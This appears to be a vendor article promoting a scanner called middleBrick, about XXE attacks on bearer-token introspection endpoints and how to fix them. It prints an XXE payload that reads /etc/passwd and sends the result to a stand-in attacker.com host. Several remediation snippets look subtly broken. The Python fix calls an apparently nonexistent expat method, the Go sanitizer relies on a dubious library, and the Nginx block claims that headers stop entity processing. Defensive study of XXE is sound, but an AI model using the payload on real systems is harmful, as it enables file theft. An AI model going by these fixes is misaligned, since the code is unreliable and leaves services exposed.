Xml External Entities with Bearer Tokens
How Xml External Entities Manifests in Bearer Tokens
XML External Entity (XXE) vulnerabilities in Bearer Tokens contexts typically emerge when authentication tokens or related metadata are processed through XML-based systems. This manifests in several specific Bearer Tokens scenarios:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
<!ENTITY ext SYSTEM "http://attacker.com/?token=&xxe;" >
]>
<token>&xxe;</token>
</code>In Bearer Token implementations, XXE often appears when:
- XML-based token introspection endpoints process token metadata without proper entity resolution
- API gateways parse XML payloads containing bearer tokens for authorization
- OAuth2 token exchange flows accept XML-formatted requests
The most dangerous Bearer Tokens-specific XXE variant involves exploiting the token introspection endpoint. When a service validates a bearer token by querying an introspection endpoint, an attacker can craft a malicious XML payload that causes the introspection service to:
- Read sensitive files from the introspection server's filesystem
- Make outbound requests to internal services using the introspection server's credentials
- Exhaust server resources through recursive entity expansion
For example, a vulnerable introspection endpoint might process a token like this:
<?xml version="1.0" encoding="UTF-8"?>
<introspect>
<token>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</token>
<payload>&xxe;</payload>
</introspect>
</code>Where the &xxe; entity resolves to a malicious payload that compromises the introspection service.
Bearer Tokens-Specific Detection
Detecting XXE vulnerabilities in Bearer Tokens systems requires specialized scanning that understands the authentication flow context. middleBrick's scanner specifically targets these Bearer Tokens scenarios:
| Detection Method | Bearer Tokens Context | Risk Level |
|---|---|---|
| XML Entity Resolution Testing | Token introspection endpoints | Critical |
| External DTD Processing | OAuth2 XML endpoints | High |
| Recursive Entity Expansion | API gateway XML processing | Medium |
| Out-of-band Interaction | Token exchange flows | High |
middleBrick's Bearer Tokens-specific XXE detection includes:
middlebrick scan https://api.example.com/oauth2/introspect \
--test-suite=xxe \
--payload-type=xml \
--auth-scheme=bearer
The scanner automatically tests for:
- Local file access attempts through crafted XML entities
- Network-based exfiltration using the introspection server's network context
- Denial of service through exponential entity expansion
- Parameter entity injection in XML processing pipelines
Key indicators that middleBrick detects include:
{
"findings": [
{
"type": "XXE_BEARER_TOKEN",
"severity": "critical",
"location": "/oauth2/introspect",
"description": "XML External Entity vulnerability in token introspection endpoint",
"remediation": "Disable external entity resolution in XML parser configuration",
"evidence": "Successful retrieval of /etc/passwd via crafted XML payload"
}
]
}
Bearer Tokens-Specific Remediation
Remediating XXE vulnerabilities in Bearer Tokens systems requires both immediate patches and architectural changes. Here are Bearer Tokens-specific fixes:
1. XML Parser Configuration
// Vulnerable Java code
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml)));
// Secure Bearer Tokens-specific fix
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml)));
2. Token Introspection Hardening
# Vulnerable Flask endpoint
@app.route('/oauth2/introspect', methods=['POST'])
def introspect():
data = request.get_data()
doc = ET.fromstring(data) # Vulnerable to XXE
return process_introspection(doc)
# Secure Bearer Tokens-specific implementation
def secure_introspect():
data = request.get_data()
parser = ET.XMLParser()
parser.parser.UseForeignDTD(False)
parser.parser.SetLoadExternalEntities(False)
doc = ET.fromstring(data, parser=parser)
return process_introspection(doc)
3. Input Validation and Sanitization
// Bearer Tokens-specific XML sanitizer
func sanitizeXML(input []byte) ([]byte, error) {
config := s9y.NewConfiguration()
config.RemoveComments = true
config.RemoveProcInst = true
config.RemoveElements = []string{"!ENTITY", "!DOCTYPE"}
sanitized, err := s9y.Sanitize(input, config)
if err != nil {
return nil, err
}
return sanitized, nil
}
// Usage in token processing
func processBearerToken(xmlPayload []byte) (*Token, error) {
sanitized, err := sanitizeXML(xmlPayload)
if err != nil {
return nil, fmt.Errorf("input sanitization failed: %v", err)
}
return parseTokenXML(sanitized)
}
4. Network Layer Protection
# Bearer Tokens-specific Nginx configuration
location /oauth2/introspect {
# Block XML external entity processing
proxy_set_header X-Content-Type-Options "nosniff";
# Rate limiting to prevent DoS via entity expansion
limit_req zone=api_limit burst=10 nodelay;
# Content security policy for XML processing
add_header X-Permitted-Cross-Domain-Policies "none";
# Only allow safe content types
if ($content_type != 'application/xml' && $content_type != 'text/xml') {
return 415;
}
proxy_pass http://introspection_backend;
}